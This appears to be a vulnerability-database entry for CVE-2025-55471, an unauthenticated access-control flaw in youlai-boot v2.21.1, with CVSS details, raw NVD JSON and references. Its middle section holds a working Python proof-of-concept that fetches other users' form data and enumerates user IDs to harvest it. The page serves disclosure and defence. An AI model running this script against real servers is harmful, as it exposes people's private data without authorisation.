Security Vulnerability Report
中文
CVE-2025-55471 CVSS 7.5 HIGH

CVE-2025-55471

Published: 2025-11-26 18:15:49
Last Modified: 2025-12-05 14:37:57

Description

Incorrect access control in the getUserFormData function of youlai-boot v2.21.1 allows attackers to access sensitive information for other users.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:youlai:youlai-boot:2.21.1:*:*:*:*:*:*:* - VULNERABLE
youlai-boot < 2.21.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55471 PoC - youlai-boot Incorrect Access Control # Target: youlai-boot v2.21.1 getUserFormData function # Vulnerability: Allows unauthorized access to other users' sensitive information import requests import json target_url = "http://target-server:8080" # PoC 1: Basic unauthorized access to user form data def exploit_user_form_data(target_url, user_id): """ Exploit the getUserFormData function to retrieve sensitive user data without authentication. """ endpoint = f"{target_url}/api/user/form/data" params = {"userId": user_id} try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Successfully retrieved data for user_id: {user_id}") print(f"[+] Response: {json.dumps(data, indent=2, ensure_ascii=False)}") return data else: print(f"[-] Failed to retrieve data. Status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None # PoC 2: Enumerate multiple user IDs to harvest sensitive data def enumerate_users(target_url, start_id=1, end_id=100): """ Enumerate user IDs to harvest sensitive information from multiple users. """ print(f"[*] Starting enumeration from user_id {start_id} to {end_id}") harvested_data = [] for user_id in range(start_id, end_id + 1): data = exploit_user_form_data(target_url, user_id) if data: harvested_data.append({"user_id": user_id, "data": data}) return harvested_data # Usage examples if __name__ == "__main__": # Test single user access print("[*] Testing single user access...") exploit_user_form_data(target_url, 1) # Uncomment to enumerate multiple users # print("[*] Starting user enumeration attack...") # all_data = enumerate_users(target_url, 1, 50) # print(f"[*] Harvested data for {len(all_data)} users")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55471", "sourceIdentifier": "[email protected]", "published": "2025-11-26T18:15:48.820", "lastModified": "2025-12-05T14:37:57.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the getUserFormData function of youlai-boot v2.21.1 allows attackers to access sensitive information for other users."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:youlai:youlai-boot:2.21.1:*:*:*:*:*:*:*", "matchCriteriaId": "7CFBFBA2-A744-4EAE-A0F1-78CAE3F65176"}]}]}], "references": [{"url": "https://gist.github.com/old6ma/08d83e5aa7d47e7ff18b23337ccd1f1d", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/youlaiorg/youlai-boot", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitee.com/youlaiorg/youlai-boot/issues/ICFBW8", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}